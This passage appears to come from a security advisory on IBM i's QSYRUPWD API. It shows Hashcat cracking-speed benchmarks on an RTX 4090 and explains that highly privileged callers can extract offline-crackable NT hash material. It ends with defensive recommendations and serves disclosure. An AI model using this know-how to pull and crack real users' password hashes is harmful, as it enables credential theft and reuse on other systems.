|---|---|---|---|---|
| RTX 4090 | NTLM | 1 | 288.5 GH/s | baseline |
| RTX 4090 | PBKDF2-HMAC-SHA1 | 999 | 19.12 MH/s | NT is 15,085× faster |
| RTX 4090 | PBKDF2-HMAC-SHA1 | 9,999 | 2.13 MH/s | NT is 135,452× faster |
| RTX 4090 | PBKDF2-HMAC-SHA256 | 999 | 8.87 MH/s | NT is 32,541× faster |
| RTX 4090 | PBKDF2-HMAC-SHA512 | 999 | 3.12 MH/s | NT is 92,441× faster |
For one stock RTX 4090, using Hashcat 6.2.6 optimized kernels and PBKDF2-HMAC-SHA1:
The first three values are measured RTX 4090 Hashcat results. The 100,000-iteration result is a linear estimate from the measured 9,999-iteration result; PBKDF2 cost scales approximately linearly with the iteration count:
| Algorithm | RTX 4090 speed |
|---|---|
| NTLM | 288.5 GH/s |
| PBKDF2-SHA1, 1,000 iterations | 19.12 MH/s |
| PBKDF2-SHA1, 10,000 iterations | 2.13 MH/s |
| PBKDF2-SHA1, 100,000 iterations | ≈200 kH/s |
Calling QSYRUPWD requires both *ALLOBJ and *SECADM authority, so this is not an unauthenticated or low privilege attack.
However, privileged administrative access does not normally imply knowledge of users’ original passwords.
The reconstructed format allows an authorized caller to obtain offline crackable credential material without changing the password or alerting the user.
Recovered passwords may also expose credentials reused on other IBM i partitions, Windows systems, directory services, or external applications.
In the tested QPWDLVL = 4 configuration, removing the legacy DES- and SHA-1 based fields did not prevent recovery of the NT hash from the embedded QZLSRTPW data.
Organizations should therefore treat the combination of *ALLOBJ and *SECADM as access to exportable password verifier material, strictly limit and monitor profiles holding both authorities, review programs that may expose these authorities through adopted authority, and prevent password reuse between IBM i and other environments.
A complete platform level mitigation would require IBM to redesign QSYRUPWD so that its output cannot be converted into reusable or offline crackable credential material.